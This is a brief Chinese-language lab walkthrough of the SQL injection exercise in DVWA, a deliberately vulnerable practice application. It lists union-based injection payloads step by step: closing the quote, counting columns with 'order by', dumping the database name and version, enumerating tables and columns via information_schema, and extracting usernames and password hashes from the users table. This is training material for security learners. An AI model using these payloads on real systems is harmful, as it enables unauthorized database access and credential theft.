首先在练习过sqli-labs的靶场的同学,对于再进行DVWA这一部分应该得心应手,所以接下来,直接步入正题
1.判断是何种类型的sql注入
首先输入1,正常回显;输入1' 报错,输入1" and 1=1从返回来看,1" and 1=1原样输出,由此可以判断id参数应该没有做任何过滤,对于1'报错可能是因为闭合掉单引号之后,后面的语句未注释掉,加上#注释即可正常回显
2.爆列数
1' order by 3#报错
1' order by 2#正常回显,由此可知列数为2
3.爆回显位
-1' union select 1,2#
-1' union select database(),version()# 爆数据库名和版本信息
4.爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
5.爆字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
6.爆字段内容
-1' union select 1,group_concat(user_id,user,password) from users#
OK,到这里就结束啦!